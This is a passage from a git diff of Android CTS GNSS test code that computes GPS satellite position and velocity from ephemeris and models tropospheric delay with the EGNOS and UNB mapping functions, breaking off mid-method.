+  private static final double UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 = 3.986005e14;
+  private static final int NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION = 5;
+  private static final double EARTH_ROTATION_RATE_RAD_PER_SEC = 7.2921151467e-5;
+
+  /**
+   *
+   * Calculate GPS satellite position and velocity from ephemeris including the Sagnac effect
+   * starting from unknown user to satellite distance and speed. So we start from an initial guess
+   * of the user to satellite range and range rate and iterate to include the Sagnac effect. Few
+   * iterations are enough to achieve a satellite position with millimeter accuracy.
+   * A {@code PositionAndVelocity} class is returned containing satellite position in meters
+   * (x, y and z) and velocity in meters per second (x, y, z)
+   *
+   * <p>Satelite position and velocity equations are obtained from:
+   * http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+   * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+   *
+   * @param ephemerisProto parameters of the navigation message
+   * @param receiverGpsTowAtTimeOfTransmissionCorrectedSec Receiver estimate of GPS time of week
+   *        when signal was transmitted corrected with the satellite clock drift (seconds)
+   * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+   *        transmitted (0-1024+)
+   * @param userPosXMeters Last known user x-position (if known) [meters]
+   * @param userPosYMeters Last known user y-position (if known) [meters]
+   * @param userPosZMeters Last known user z-position (if known) [meters]
+   * @throws Exception
+   */
+  public static PositionAndVelocity calculateSatellitePositionAndVelocityFromEphemeris
+  (GpsEphemerisProto ephemerisProto, double receiverGpsTowAtTimeOfTransmissionCorrectedSec,
+      int receiverGpsWeekAtTimeOfTransmission,
+      double userPosXMeters,
+      double userPosYMeters,
+      double userPosZMeters) throws Exception {
+
+    // lets start with a first user to sat distance guess of 70 ms and zero velocity
+    RangeAndRangeRate userSatRangeAndRate = new RangeAndRangeRate
+        (0.070 * SPEED_OF_LIGHT_MPS, 0.0 /* range rate*/);
+
+    // To apply sagnac effect correction, We are starting from an approximate guess of the user to
+    // satellite range, iterate 3 times and that should be enough to reach millimeter accuracy
+    PositionAndVelocity satPosAndVel = new PositionAndVelocity(0.0, 0.0, 0.0, 0.0, 0.0, 0.0);
+    PositionAndVelocity userPosAndVel =
+        new PositionAndVelocity(userPosXMeters, userPosYMeters, userPosZMeters,
+            0.0 /* user velocity x*/, 0.0 /* user velocity y*/, 0.0 /* user velocity z */);
+    for (int i = 0; i < NUMBER_OF_ITERATIONS_FOR_SAT_POS_CALCULATION; i++) {
+      calculateSatellitePositionAndVelocity(ephemerisProto,
+          receiverGpsTowAtTimeOfTransmissionCorrectedSec, receiverGpsWeekAtTimeOfTransmission,
+          userSatRangeAndRate, satPosAndVel);
+      computeUserToSatelliteRangeAndRangeRate(userPosAndVel, satPosAndVel, userSatRangeAndRate);
+    }
+    return satPosAndVel;
+  }
+
+  /**
+   * Calculate GPS satellite position and velocity from ephemeris based on the ICD-GPS-200.
+   * Satellite position in meters (x, y and z) and velocity in meters per second (x, y, z) are set
+   * in the passed {@code PositionAndVelocity} instance.
+   *
+   * <p>Sources: http://www.gps.gov/technical/icwg/ICD-GPS-200C.pdf) pages 94 - 101 and
+   * http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+   *
+   * @param ephemerisProto parameters of the navigation message
+   * @param receiverGpsTowAtTimeOfTransmissionCorrected Receiver estimate of GPS time of week when
+   *        signal was transmitted corrected with the satellite clock drift (seconds)
+   * @param receiverGpsWeekAtTimeOfTransmission Receiver estimate of GPS week when signal was
+   *        transmitted (0-1024+)
+   * @param userSatRangeAndRate user to satellite range and range rate
+   * @param satPosAndVel Satellite position and velocity instance in which the method results will
+   * be set
+   * @throws Exception
+   */
+  public static void calculateSatellitePositionAndVelocity(GpsEphemerisProto ephemerisProto,
+      double receiverGpsTowAtTimeOfTransmissionCorrected, int receiverGpsWeekAtTimeOfTransmission,
+      RangeAndRangeRate userSatRangeAndRate, PositionAndVelocity satPosAndVel) throws Exception {
+
+    // Calculate satellite clock correction (meters), Kepler Eccentric anomaly (radians) and time
+    // from ephemeris refrence epoch (tkSec) iteratively
+    SatClockCorrection satClockCorrectionValues =
+        SatelliteClockCorrectionCalculator.calculateSatClockCorrAndEccAnomAndTkIteratively(
+            ephemerisProto, receiverGpsTowAtTimeOfTransmissionCorrected,
+            receiverGpsWeekAtTimeOfTransmission);
+
+    double eccentricAnomalyRadians = satClockCorrectionValues.eccentricAnomalyRadians;
+    double tkSec = satClockCorrectionValues.timeFromRefEpochSec;
+
+    // True_anomaly (angle from perigee)
+    double trueAnomalyRadians = Math.atan2(
+        Math.sqrt(1.0 - ephemerisProto.e * ephemerisProto.e)
+            * Math.sin(eccentricAnomalyRadians),
+        Math.cos(eccentricAnomalyRadians) - ephemerisProto.e);
+
+    // Argument of latitude of the satellite
+    double argumentOfLatitudeRadians = trueAnomalyRadians + ephemerisProto.omega;
+
+    // Radius of satellite orbit
+    double radiusOfSatelliteOrbitMeters = ephemerisProto.rootOfA * ephemerisProto.rootOfA
+        * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+
+    // Radius correction due to second harmonic perturbations of the orbit
+    double radiusCorrectionMeters = ephemerisProto.crc
+        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.crs
+        * Math.sin(2.0 * argumentOfLatitudeRadians);
+    // Argument of latitude correction due to second harmonic perturbations of the orbit
+    double argumentOfLatitudeCorrectionRadians = ephemerisProto.cuc
+        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cus
+        * Math.sin(2.0 * argumentOfLatitudeRadians);
+    // Correction to inclination due to second harmonic perturbations of the orbit
+    double inclinationCorrectionRadians = ephemerisProto.cic
+        * Math.cos(2.0 * argumentOfLatitudeRadians) + ephemerisProto.cis
+        * Math.sin(2.0 * argumentOfLatitudeRadians);
+
+    // Corrected radius of satellite orbit
+    radiusOfSatelliteOrbitMeters += radiusCorrectionMeters;
+    // Corrected argument of latitude
+    argumentOfLatitudeRadians += argumentOfLatitudeCorrectionRadians;
+    // Corrected inclination
+    double inclinationRadians =
+        ephemerisProto.i0 + inclinationCorrectionRadians + ephemerisProto.iDot * tkSec;
+
+    // Position in orbital plane
+    double xPositionMeters = radiusOfSatelliteOrbitMeters * Math.cos(argumentOfLatitudeRadians);
+    double yPositionMeters = radiusOfSatelliteOrbitMeters * Math.sin(argumentOfLatitudeRadians);
+
+    // Corrected longitude of the ascending node (signal propagation time is included to compensate
+    // for the Sagnac effect)
+    double omegaKRadians = ephemerisProto.omega0
+        + (ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC) * tkSec
+        - EARTH_ROTATION_RATE_RAD_PER_SEC
+        * (ephemerisProto.toe + userSatRangeAndRate.rangeMeters / SPEED_OF_LIGHT_MPS);
+
+    // compute the resulting satellite position
+    double satPosXMeters = xPositionMeters * Math.cos(omegaKRadians) - yPositionMeters
+        * Math.cos(inclinationRadians) * Math.sin(omegaKRadians);
+    double satPosYMeters = xPositionMeters * Math.sin(omegaKRadians) + yPositionMeters
+        * Math.cos(inclinationRadians) * Math.cos(omegaKRadians);
+    double satPosZMeters = yPositionMeters * Math.sin(inclinationRadians);
+
+    // Satellite Velocity Computation using the broadcast ephemeris
+    // http://fenrir.naruoka.org/download/autopilot/note/080205_gps/gps_velocity.pdf
+    // Units are not added in some of the variable names to have the same name as the ICD-GPS200
+    // Semi-major axis of orbit (meters)
+    double a = ephemerisProto.rootOfA * ephemerisProto.rootOfA;
+    // Computed mean motion (radians/seconds)
+    double n0 = Math.sqrt(UNIVERSAL_GRAVITATIONAL_PARAMETER_M3_SM2 / (a * a * a));
+    // Corrected mean motion (radians/seconds)
+    double n = n0 + ephemerisProto.deltaN;
+    // Derivative of mean anomaly (radians/seconds)
+    double meanAnomalyDotRadPerSec = n;
+    // Derivative of eccentric anomaly (radians/seconds)
+    double eccentricAnomalyDotRadPerSec =
+        meanAnomalyDotRadPerSec / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians));
+    // Derivative of true anomaly (radians/seconds)
+    double trueAnomalydotRadPerSec = Math.sin(eccentricAnomalyRadians)
+        * eccentricAnomalyDotRadPerSec
+        * (1.0 + ephemerisProto.e * Math.cos(trueAnomalyRadians)) / (
+        Math.sin(trueAnomalyRadians)
+            * (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)));
+    // Derivative of argument of latitude (radians/seconds)
+    double argumentOfLatitudeDotRadPerSec = trueAnomalydotRadPerSec + 2.0 * (ephemerisProto.cus
+        * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cuc
+        * Math.sin(2.0 * argumentOfLatitudeRadians)) * trueAnomalydotRadPerSec;
+    // Derivative of radius of satellite orbit (m/s)
+    double radiusOfSatelliteOrbitDotMPerSec = a * ephemerisProto.e
+        * Math.sin(eccentricAnomalyRadians) * n
+        / (1.0 - ephemerisProto.e * Math.cos(eccentricAnomalyRadians)) + 2.0 * (
+        ephemerisProto.crs * Math.cos(2.0 * argumentOfLatitudeRadians)
+            - ephemerisProto.crc * Math.sin(2.0 * argumentOfLatitudeRadians))
+        * trueAnomalydotRadPerSec;
+    // Derivative of the inclination (radians/seconds)
+    double inclinationDotRadPerSec = ephemerisProto.iDot + (ephemerisProto.cis
+        * Math.cos(2.0 * argumentOfLatitudeRadians) - ephemerisProto.cic
+        * Math.sin(2.0 * argumentOfLatitudeRadians)) * 2.0 * trueAnomalydotRadPerSec;
+
+    double xVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.cos(argumentOfLatitudeRadians)
+        - yPositionMeters * argumentOfLatitudeDotRadPerSec;
+    double yVelocityMPS = radiusOfSatelliteOrbitDotMPerSec * Math.sin(argumentOfLatitudeRadians)
+        + xPositionMeters * argumentOfLatitudeDotRadPerSec;
+
+    // Corrected rate of right ascension including compensation for the Sagnac effect
+    double omegaDotRadPerSec = ephemerisProto.omegaDot - EARTH_ROTATION_RATE_RAD_PER_SEC
+        * (1.0 + userSatRangeAndRate.rangeRateMetersPerSec / SPEED_OF_LIGHT_MPS);
+    // compute the resulting satellite velocity
+    double satVelXMPS =
+        (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+            * Math.cos(omegaKRadians) - (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+            * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+            * inclinationDotRadPerSec) * Math.sin(omegaKRadians);
+    double satVelYMPS =
+        (xVelocityMPS - yPositionMeters * Math.cos(inclinationRadians) * omegaDotRadPerSec)
+            * Math.sin(omegaKRadians) + (xPositionMeters * omegaDotRadPerSec + yVelocityMPS
+            * Math.cos(inclinationRadians) - yPositionMeters * Math.sin(inclinationRadians)
+            * inclinationDotRadPerSec) * Math.cos(omegaKRadians);
+    double satVelZMPS = yVelocityMPS * Math.sin(inclinationRadians) + yPositionMeters
+        * Math.cos(inclinationRadians) * inclinationDotRadPerSec;
+
+    satPosAndVel.positionXMeters = satPosXMeters;
+    satPosAndVel.positionYMeters = satPosYMeters;
+    satPosAndVel.positionZMeters = satPosZMeters;
+    satPosAndVel.velocityXMetersPerSec = satVelXMPS;
+    satPosAndVel.velocityYMetersPerSec = satVelYMPS;
+    satPosAndVel.velocityZMetersPerSec = satVelZMPS;
+  }
+
+  /**
+   * Compute and set the passed {@code RangeAndRangeRate} instance containing user to satellite
+   * range (meters) and range rate (m/s) given the user position (ECEF meters), user velocity (m/s),
+   * satellite position (ECEF meters) and satellite velocity (m/s).
+   */
+  private static void computeUserToSatelliteRangeAndRangeRate(PositionAndVelocity userPosAndVel,
+      PositionAndVelocity satPosAndVel, RangeAndRangeRate rangeAndRangeRate) {
+    double dXMeters = satPosAndVel.positionXMeters - userPosAndVel.positionXMeters;
+    double dYMeters = satPosAndVel.positionYMeters - userPosAndVel.positionYMeters;
+    double dZMeters = satPosAndVel.positionZMeters - userPosAndVel.positionZMeters;
+    // range in meters
+    double rangeMeters = Math.sqrt(dXMeters * dXMeters + dYMeters * dYMeters + dZMeters * dZMeters);
+    // range rate in meters / second
+    double rangeRateMetersPerSec =
+        ((userPosAndVel.velocityXMetersPerSec - satPosAndVel.velocityXMetersPerSec) * dXMeters
+            + (userPosAndVel.velocityYMetersPerSec - satPosAndVel.velocityYMetersPerSec) * dYMeters
+            + (userPosAndVel.velocityZMetersPerSec - satPosAndVel.velocityZMetersPerSec) * dZMeters)
+            / rangeMeters;
+    rangeAndRangeRate.rangeMeters = rangeMeters;
+    rangeAndRangeRate.rangeRateMetersPerSec = rangeRateMetersPerSec;
+  }
+
+  /**
+   *
+   * A class containing position values (x, y, z) in meters and velocity values (x, y, z) in meters
+   * per seconds
+   */
+  public static class PositionAndVelocity {
+    /* x - position in meters */
+    public double positionXMeters;
+    /* y - position in meters */
+    public double positionYMeters;
+    /* z - position in meters */
+    public double positionZMeters;
+    /* x - velocity in meters */
+    public double velocityXMetersPerSec;
+    /* y - velocity in meters */
+    public double velocityYMetersPerSec;
+    /* z - velocity in meters */
+    public double velocityZMetersPerSec;
+
+    /* Constructor */
+    public PositionAndVelocity(double positionXMeters,
+        double positionYMeters,
+        double positionZMeters,
+        double velocityXMetersPerSec,
+        double velocityYMetersPerSec,
+        double velocityZMetersPerSec) {
+      this.positionXMeters = positionXMeters;
+      this.positionYMeters = positionYMeters;
+      this.positionZMeters = positionZMeters;
+      this.velocityXMetersPerSec = velocityXMetersPerSec;
+      this.velocityYMetersPerSec = velocityYMetersPerSec;
+      this.velocityZMetersPerSec = velocityZMetersPerSec;
+    }
+  }
+
+  /* A class containing range of satellite to user in meters and range rate in meters per seconds */
+  public static class RangeAndRangeRate {
+    /* Range in meters */
+    public double rangeMeters;
+    /* Range rate in meters per seconds */
+    public double rangeRateMetersPerSec;
+
+    /* Constructor */
+    public RangeAndRangeRate(double rangeMeters, double rangeRateMetersPerSec) {
+      this.rangeMeters = rangeMeters;
+      this.rangeRateMetersPerSec = rangeRateMetersPerSec;
+    }
+  }
+}
\ No newline at end of file
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java
new file mode 100644
index 0000000..05b2a88
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/pseudorange/TroposphericModelEgnos.java
@@ -0,0 +1,324 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.gnss.pseudorange;
+
+/**
+ * Calculate the troposheric delay based on the ENGOS Tropospheric model.
+ *
+ * <p>The tropospheric delay is modeled as a combined effect of the delay experienced due to
+ * hyrostatic (dry) and wet components of the troposphere. Both delays experienced at zenith are
+ * scaled with a mapping function to get the delay at any specific elevation.
+ *
+ * <p>The tropospheric model algorithm of EGNOS model by Penna, N., A. Dodson and W. Chen (2001)
+ * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917) is used
+ * for calculating the zenith delays. In this model, the weather parameters are extracted using
+ * interpolation from lookup table derived from the US Standard Atmospheric Supplements, 1966.
+ *
+ * <p>A close form mapping function is built using Guo and Langley, 2003
+ * (http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf) which is able to calculate accurate
+ * mapping down to 2 degree elevations.
+ *
+ * <p>Sources:
+ * <p>http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917
+ * <p>- http://www.academia.edu/3512180/Assessment_of_UNB3M_neutral
+ * _atmosphere_model_and_EGNOS_model_for_near-equatorial-tropospheric_delay_correction
+ * <p>- http://gauss.gge.unb.ca/papers.pdf/ion52am.collins.pdf
+ * <p>- http://www.navipedia.net/index.php/Tropospheric_Delay#cite_ref-3
+ * <p>Hydrostatic and non-hydrostatic mapping functions are obtained from:
+ * http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+ *
+ */
+public class TroposphericModelEgnos {
+  // parameters of the EGNOS models
+  private static final int INDEX_15_DEGREES = 0;
+  private static final int INDEX_75_DEGREES = 4;
+  private static final int LATITUDE_15_DEGREES = 15;
+  private static final int LATITUDE_75_DEGREES = 75;
+  // Lookup Average parameters
+  // Troposphere average presssure mbar
+  private static final double[] latDegreeToPressureMbarAvgMap =
+    {1013.25,  1017.25, 1015.75, 1011.75, 1013.0};
+  // Troposphere average temperature Kelvin
+  private static final double[] latDegreeToTempKelvinAvgMap =
+    {299.65, 294.15, 283.15, 272.15, 263.65};
+  // Troposphere average wator vapor pressure
+  private static final double[] latDegreeToWVPressureMbarAvgMap = {26.31, 21.79, 11.66, 6.78, 4.11};
+  // Troposphere average temperature lapse rate K/m
+  private static final double[] latDegreeToBetaAvgMapKPM =
+    {6.30e-3, 6.05e-3, 5.58e-3, 5.39e-3, 4.53e-3};
+  // Troposphere average water vapor lapse rate (dimensionless)
+  private static final double[] latDegreeToLampdaAvgMap = {2.77, 3.15, 2.57, 1.81, 1.55};
+
+  // Lookup Amplitude parameters
+  // Troposphere amplitude presssure mbar
+  private static final double[] latDegreeToPressureMbarAmpMap = {0.0, -3.75, -2.25, -1.75, -0.5};
+  // Troposphere amplitude temperature Kelvin
+  private static final double[] latDegreeToTempKelvinAmpMap = {0.0, 7.0, 11.0, 15.0, 14.5};
+  // Troposphere amplitude wator vapor pressure
+  private static final double[] latDegreeToWVPressureMbarAmpMap = {0.0, 8.85, 7.24, 5.36, 3.39};
+  // Troposphere amplitude temperature lapse rate K/m
+  private static final double[] latDegreeToBetaAmpMapKPM =
+    {0.0, 0.25e-3, 0.32e-3, 0.81e-3, 0.62e-3};
+  // Troposphere amplitude water vapor lapse rate (dimensionless)
+  private static final double[] latDegreeToLampdaAmpMap = {0.0, 0.33, 0.46, 0.74, 0.30};
+  // Zenith delay dry constant K/mbar
+  private static final double K1 = 77.604;
+  // Zenith delay wet constant K^2/mbar
+  private static final double K2 = 382000.0;
+  // gas constant for dry air J/kg/K
+  private static final double RD = 287.054;
+  // Acceleration of gravity at the atmospheric column centroid m/s^-2
+  private static final double GM = 9.784;
+  // Gravity m/s^2
+  private static final double GRAVITY_MPS2 = 9.80665;
+
+  private static final double MINIMUM_INTERPOLATION_THRESHOLD = 1e-25;
+  private static final double B_HYDROSTATIC = 0.0035716;
+  private static final double C_HYDROSTATIC = 0.082456;
+  private static final double B_NON_HYDROSTATIC = 0.0018576;
+  private static final double C_NON_HYDROSTATIC = 0.062741;
+  private static final double SOUTHERN_HEMISPHERE_DMIN = 211.0;
+  private static final double NORTHERN_HEMISPHERE_DMIN = 28.0;
+  // Days recalling that every fourth year is a leap year and has an extra day - February 29th
+  private static final double DAYS_PER_YEAR = 365.25;
+
+  /**
+   * Compute the tropospheric correction in meters given the satellite elevation in radians, the
+   * user latitude in radians, the user Orthometric height above sea level in meters and the day of
+   * the year.
+   *
+   * <p>Dry and wet delay zenith delay components are calculated and then scaled with the mapping
+   * function at the given satellite elevation.
+   *
+   */
+  public static double calculateTropoCorrectionMeters(double satElevationRadians,
+      double userLatitudeRadian, double heightMetersAboveSeaLevel, int dayOfYear1To366) {
+    DryAndWetMappingValues dryAndWetMappingValues =
+        computeDryAndWetMappingValuesUsingUNBabcMappingFunction(satElevationRadians,
+            userLatitudeRadian, heightMetersAboveSeaLevel);
+    DryAndWetZenithDelays dryAndWetZenithDelays = calculateZenithDryAndWetDelaysSec
+        (userLatitudeRadian, heightMetersAboveSeaLevel, dayOfYear1To366);
+
+    double drydelaySeconds =
+        dryAndWetZenithDelays.dryZenithDelaySec * dryAndWetMappingValues.dryMappingValue;
+    double wetdelaySeconds =
+        dryAndWetZenithDelays.wetZenithDelaySec * dryAndWetMappingValues.wetMappingValue;
+    return drydelaySeconds + wetdelaySeconds;
+  }
+
+  /**
+   * Compute the dry and wet mapping values based on the University of Brunswick UNBabc model. The
+   * mapping function inputs are satellite elevation in radians, user latitude in radians and user
+   * orthometric height above sea level in meters. The function returns
+   * {@code DryAndWetMappingValues} containing dry and wet mapping values.
+   *
+   * <p>From the many dry and wet mapping functions of components of the troposphere, the method
+   * from the University of Brunswick in Canada was selected due to its reasonable computation time
+   * and accuracy with satellites as low as 2 degrees elevation.
+   * <p>Source: http://gauss2.gge.unb.ca/papers.pdf/iongpsgnss2003.guo.pdf
+   */
+  private static DryAndWetMappingValues computeDryAndWetMappingValuesUsingUNBabcMappingFunction(
+      double satElevationRadians, double userLatitudeRadians, double heightMetersAboveSeaLevel) {
+
+    if (satElevationRadians > Math.PI / 2.0) {
+      satElevationRadians = Math.PI / 2.0;
+    } else if (satElevationRadians < 2.0 * Math.PI / 180.0) {
+      satElevationRadians = Math.toRadians(2.0);
+    }
+
+    // dry components mapping parameters
+    double aHidrostatic = (1.18972 - 0.026855 * heightMetersAboveSeaLevel / 1000.0 + 0.10664
+        * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+    double numeratorDry = 1.0 + (aHidrostatic / (1.0 + (B_HYDROSTATIC / (1.0 + C_HYDROSTATIC))));
+    double denominatorDry = Math.sin(satElevationRadians) + (aHidrostatic / (
+        Math.sin(satElevationRadians)
+        + (B_HYDROSTATIC / (Math.sin(satElevationRadians) + C_HYDROSTATIC))));
+
+    double drymap = numeratorDry / denominatorDry;
+
+    // wet components mapping parameters
+    double aNonHydrostatic = (0.61120 - 0.035348 * heightMetersAboveSeaLevel / 1000.0 - 0.01526
+        * Math.cos(userLatitudeRadians)) / 1000.0;
+
+
+    double numeratorWet =
+        1.0 + (aNonHydrostatic / (1.0 + (B_NON_HYDROSTATIC / (1.0 + C_NON_HYDROSTATIC))));
+    double denominatorWet = Math.sin(satElevationRadians) + (aNonHydrostatic / (
+        Math.sin(satElevationRadians)
+        + (B_NON_HYDROSTATIC / (Math.sin(satElevationRadians) + C_NON_HYDROSTATIC))));
+
+    double wetmap = numeratorWet / denominatorWet;
+    return new DryAndWetMappingValues(drymap, wetmap);
+  }
+
+  /**
+   * Compute the combined effect of the delay at zenith experienced due to hyrostatic (dry) and wet
+   * components of the troposphere. The function inputs are the user latitude in radians, user
+   * orthometric height above sea level in meters and the day of the year (1-366). The function
+   * returns a {@code DryAndWetZenithDelays} containing dry and wet delays at zenith.
+   *
+   * <p>EGNOS Tropospheric model by Penna et al. (2001) is used in this case.
+   * (http://espace.library.curtin.edu.au/cgi-bin/espace.pdf?file=/2008/11/13/file_1/18917)
+   *
+   */
+  private static DryAndWetZenithDelays calculateZenithDryAndWetDelaysSec(double userLatitudeRadians,
+      double heightMetersAboveSeaLevel, int dayOfyear1To366) {
+    // interpolated meteorological values
+    double pressureMbar;
+    double tempKelvin;
+    double waterVaporPressureMbar;
+    // temperature lapse rate, [K/m]
+    double beta;
+    // water vapor lapse rate, dimensionless
+    double lambda;
+
+    double absLatitudeDeg = Math.toDegrees(Math.abs(userLatitudeRadians));
+    // day of year min constant
+    double dmin;
+    if (userLatitudeRadians < 0) {
+      dmin = SOUTHERN_HEMISPHERE_DMIN;
+    } else {
+      dmin = NORTHERN_HEMISPHERE_DMIN;
+
+    }
+    double amplitudeScalefactor = Math.cos((2 * Math.PI * (dayOfyear1To366 - dmin))
+        / DAYS_PER_YEAR);
+
+    if (absLatitudeDeg <= LATITUDE_15_DEGREES) {
+      pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_15_DEGREES]
+          - latDegreeToPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+      tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_15_DEGREES]
+          - latDegreeToTempKelvinAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+      waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_15_DEGREES]
+          - latDegreeToWVPressureMbarAmpMap[INDEX_15_DEGREES] * amplitudeScalefactor;
+      beta = latDegreeToBetaAvgMapKPM[INDEX_15_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_15_DEGREES]
+          * amplitudeScalefactor;
+      lambda = latDegreeToLampdaAmpMap[INDEX_15_DEGREES] - latDegreeToLampdaAmpMap[INDEX_15_DEGREES]
+          * amplitudeScalefactor;
+    } else if (absLatitudeDeg > LATITUDE_15_DEGREES && absLatitudeDeg < LATITUDE_75_DEGREES) {
+      int key = (int) (absLatitudeDeg / LATITUDE_15_DEGREES);
+
+      double averagePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToPressureMbarAvgMap[key], absLatitudeDeg);
+      double amplitudePressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToPressureMbarAmpMap[key], absLatitudeDeg);
+      pressureMbar = averagePressureMbar - amplitudePressureMbar * amplitudeScalefactor;
+
+      double averageTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToTempKelvinAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToTempKelvinAvgMap[key], absLatitudeDeg);
+      double amplitudeTempKelvin = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToTempKelvinAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToTempKelvinAmpMap[key], absLatitudeDeg);
+      tempKelvin = averageTempKelvin - amplitudeTempKelvin * amplitudeScalefactor;
+
+      double averageWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToWVPressureMbarAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToWVPressureMbarAvgMap[key], absLatitudeDeg);
+      double amplitudeWaterVaporPressureMbar = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToWVPressureMbarAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToWVPressureMbarAmpMap[key], absLatitudeDeg);
+      waterVaporPressureMbar =
+          averageWaterVaporPressureMbar - amplitudeWaterVaporPressureMbar * amplitudeScalefactor;
+
+      double averageBeta = interpolate(key * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key - 1],
+          (key + 1) * LATITUDE_15_DEGREES, latDegreeToBetaAvgMapKPM[key], absLatitudeDeg);
+      double amplitudeBeta = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToBetaAmpMapKPM[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToBetaAmpMapKPM[key], absLatitudeDeg);
+      beta = averageBeta - amplitudeBeta * amplitudeScalefactor;
+
+      double averageLambda = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToLampdaAvgMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToLampdaAvgMap[key], absLatitudeDeg);
+      double amplitudeLambda = interpolate(key * LATITUDE_15_DEGREES,
+          latDegreeToLampdaAmpMap[key - 1], (key + 1) * LATITUDE_15_DEGREES,
+          latDegreeToLampdaAmpMap[key], absLatitudeDeg);
+      lambda = averageLambda - amplitudeLambda * amplitudeScalefactor;
+    } else {
+      pressureMbar = latDegreeToPressureMbarAvgMap[INDEX_75_DEGREES]
+          - latDegreeToPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+      tempKelvin = latDegreeToTempKelvinAvgMap[INDEX_75_DEGREES]
+          - latDegreeToTempKelvinAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+      waterVaporPressureMbar = latDegreeToWVPressureMbarAvgMap[INDEX_75_DEGREES]
+          - latDegreeToWVPressureMbarAmpMap[INDEX_75_DEGREES] * amplitudeScalefactor;
+      beta = latDegreeToBetaAvgMapKPM[INDEX_75_DEGREES] - latDegreeToBetaAmpMapKPM[INDEX_75_DEGREES]
+          * amplitudeScalefactor;
+      lambda = latDegreeToLampdaAmpMap[INDEX_75_DEGREES] - latDegreeToLampdaAmpMap[INDEX_75_DEGREES]
+          * amplitudeScalefactor;
+    }
+
+    double zenithDryDelayAtSeaLevelSeconds = (1.0e-6 * K1 * RD * pressureMbar) / GM;
+    double zenithWetDelayAtSeaLevelSeconds = (((1.0e-6 * K2 * RD)
+        / (GM * (lambda + 1.0) - beta * RD)) * (waterVaporPressureMbar / tempKelvin));
+    double commonBase = 1.0 - ((beta * heightMetersAboveSeaLevel) / tempKelvin);
+
+    double powerDry = (GRAVITY_MPS2 / (RD * beta));
+    double powerWet = (((lambda + 1.0) * GRAVITY_MPS2) / (RD * beta)) - 1.0;
+    double zenithDryDelaySeconds = zenithDryDelayAtSeaLevelSeconds * Math.pow(commonBase, powerDry);
+    double zenithWetDelaySeconds = zenithWetDelayAtSeaLevelSeconds * Math.pow(commonBase, powerWet);
+    return new DryAndWetZenithDelays(zenithDryDelaySeconds, zenithWetDelaySeconds);
+  }
+
+  /**
+   * Interpolate linearly given two points (point1X, point1Y) and (point2X, point2Y). Given the
+   * desired value of x (xInterpolated), an interpolated value of y shall be computed and returned.
+   */
+  private static double interpolate(double point1X, double point1Y, double point2X, double point2Y,
+      double xOutput) {
+    // Check that xOutput is between the two interpolation points.
+    if ((point1X < point2X && (xOutput < point1X || xOutput > point2X))
+        || (point2X < point1X && (xOutput < point2X || xOutput > point1X))) {
